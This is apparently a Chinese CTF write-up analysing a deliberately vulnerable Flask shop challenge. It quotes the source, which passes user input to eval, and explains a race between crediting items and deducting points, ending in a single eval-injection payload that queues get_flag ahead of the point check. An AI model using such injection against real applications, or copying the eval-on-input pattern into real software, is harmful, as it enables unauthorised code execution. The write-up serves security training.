            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. 
' resp += 'Go back to index.html
' session['num_items'] = request.prev_session['num_items'] session['points'] = request.prev_session['points'] break except Exception, e: if resp is None: resp = '' # resp += str(e) # only for debugging continue if ret_val is not None: if resp is None: resp = ret_val else: resp += ret_val if resp is None or resp == '': resp = ('404 NOT FOUND', 404) session.modified = True return resp @app.route(url_prefix+'/') def entry_point(): querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items'] = 0 session['points'] = 3 session['log'] = [] request.prev_session = dict(session) trigger_event(querystring) return execute_event_loop() # handlers/functions below -------------------------------------- def view_handler(args): page = args[0] html = '' html += '[INFO] you have {} diamonds, {} points now.
'.format( session['num_items'], session['points']) if page == 'index': html += 'View source code
' html += 'Go to e-shop
' html += 'Reset
' elif page == 'shop': html += 'Buy a diamond (1 point)
' elif page == 'reset': del session['num_items'] html += 'Session reset.
' html += 'Go back to index.html
' return html def index_handler(args): bool_show_source = str(args[0]) bool_download_source = str(args[1]) if bool_show_source == 'True': source = open('eventLoop.py', 'r') html = '' if bool_download_source != 'True': html += 'Download this .py file
' html += 'Go back to index.html
' for line in source: if bool_download_source != 'True': html += line.replace('&', '&').replace('\t', ' '*4).replace( ' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '
') else: html += line source.close() if bool_download_source == 'True': headers = {} headers['Content-Type'] = 'text/plain' headers['Content-Disposition'] = 'attachment; filename=serve.py' return Response(html, headers=headers) else: return html else: trigger_event('action:view;index') def buy_handler(args): num_items = int(args[0]) if num_items <= 0: return 'invalid number({}) of diamonds to buy
'.format(args[0]) session['num_items'] += num_items trigger_event(['func:consume_point;{}'.format( num_items), 'action:view;index']) def consume_point_function(args): point_to_consume = int(args[0]) if session['points'] < point_to_consume: raise RollBackException() session['points'] -= point_to_consume def show_flag_function(args): flag = args[0] # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. return 'You naughty boy! ;)
' def get_flag_handler(args): if session['num_items'] >= 5: # show_flag_function has been disabled, no worries trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index') if __name__ == '__main__': app.run(debug=False, host='0.0.0.0')

分析一下:

# flag获取函数def FLAG()

# 以下三个函数负责对参数进行解析。
# 1. 添加log,并将参数加入队列def trigger_event(event)

# 2. 工具函数,获取prefix与postfix之间的值
def get_mid_str(haystack, prefix, postfix=None):

# 3. 从队列中取出函数,并分析后,进行执行。(稍后进行详细分析)
def execute_event_loop()

# 网站入口点
def entry_point()

# 页面渲染,三个页面:
index/shop/resetdef view_handler()

# 下载源码
def index_handler(args)

# 增加钻石
def buy_handler(args)

# 计算价钱,进行减钱
def consume_point_function(args)

# 输出flagdef show_flag_function(args)
def get_flag_handler(args)

有这么两个跟 flag 有关的函数:

def show_flag_function(args):
    flag = args[0]
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) 
' def get_flag_handler(args): if session['num_items'] >= 5: trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index')

可以看到show_flag_function()无法直接展示出 flag,先看看get_flag_handler()中用到的trigger_event()函数:

def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5: session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:

这个函数往 session 里写了日志,而这个日志里就有 flag,并且 flask 的 session 是可以被解密的。只要后台成功设置了这个 session 我们就有机会获得 flag。

但若想正确调用show_flag_function(),必须满足session[‘num_items’] >= 5。

购买num_items需要花费points,而我们只有 3 个points,如何获得 5 个num_items?

先看看购买的机制:

def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy
'.format(args[0]) session['num_items'] += num_items trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) def consume_point_function(args): point_to_consume = int(args[0]) if session['points'] < point_to_consume: raise RollBackException() session['points'] -= point_to_consume

buy_handler()这个函数会先把num_items的数目给你加上去,然后再执行consume_point_function(),若points不够consume_point_function()会把num_items的数目再扣回去。
其实就是先给了货后,无法扣款,然后货被拿跑了

那么我们只要赶在货被抢回来之前,先执行get_flag_handler()即可。
函数trigger_event()维护了一个命令执行的队列,只要让get_flag_handler()赶在consume_point_function()之前进入队列即可。看看最关键的执行函数:
BUU CTF web(三)_第19张图片

仔细分析execute_event_loop,会发现里面有一个eval函数,而且是可控的!

利用eval()可以导致任意命令执行,使用注释符可以 bypass 掉后面的拼接部分。

若让eval()去执行trigger_event(),并且在后面跟两个命令作为参数,分别是buy和get_flag,那么buy和get_flag便先后进入队列。

根据顺序会先执行buy_handler(),此时consume_point进入队列,排在get_flag之后,我们的目标达成。

所以最终 Payload 如下:

action:trigger_event%23;action:buy;5%23action:get_flag;

你可能感兴趣的:(CTF)